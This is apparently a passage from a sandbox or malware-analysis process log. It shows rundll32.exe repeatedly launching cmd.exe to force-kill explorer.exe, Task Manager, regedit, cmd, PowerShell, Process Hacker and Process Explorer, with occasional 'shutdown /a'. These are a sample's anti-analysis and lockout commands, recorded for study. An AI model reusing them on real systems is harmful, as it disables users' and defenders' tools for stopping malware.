  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4856
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1476
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5924
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2424
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5976
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1696
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:432
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5892
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5572
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2100
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:6028
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1108
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4504
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3452
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4784
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5684
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5800
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4972
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:700
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4760
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4780
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1456
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4968
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1908
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2612
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5636
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5312
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:884
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3504
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3260
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5248
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2664
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3392
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4344
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4060
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4820
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4348
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1392
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4108
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:436
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3584
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:452
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2616
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:208
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:224
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:204
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4840
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1004
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5168
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3024
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5688
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:944
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5836
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4228
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3044
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2572
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4756
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3408
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:6096
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4776
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3328
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3436
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6112
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3560
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3624
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3768
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5288
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4032
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3344
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4152
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2916
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6100
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:3892
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1760
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3712
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4900
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2488
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3620
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3580
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5672
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1356
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4880
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4168
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3460
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4708
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5560
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4728
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4648
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4712
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4540
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4516
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4424
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:956
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3692
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2460
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2456
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2540
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3000
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4788
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5600
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:5368
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1276
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5592
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4592
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3316
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4652
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4732
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1992
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5204
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2276
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4316
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1644
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5512
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5528
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2208
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5948
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5136
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4132
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1852
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3828
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2040
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4980
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:932
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5124
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4080
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1280
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5036
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5644
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:3680
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5032
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5164
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1132
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:760
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5964
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1428
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2944
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3976
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2292
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:860
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1016
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1060
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5356
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1516
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3308
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5856
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3248
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5700
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5276
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2896
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3756
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2144
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2564
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1648
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4888
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4012
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4264
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3988
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4016
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5232
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1532
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2552
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3656
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1064
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3348
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5092
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:5920
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2796
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4620
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2592
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2232
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1960
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3840
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2872
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2528
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3748
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4196
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5660
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3424
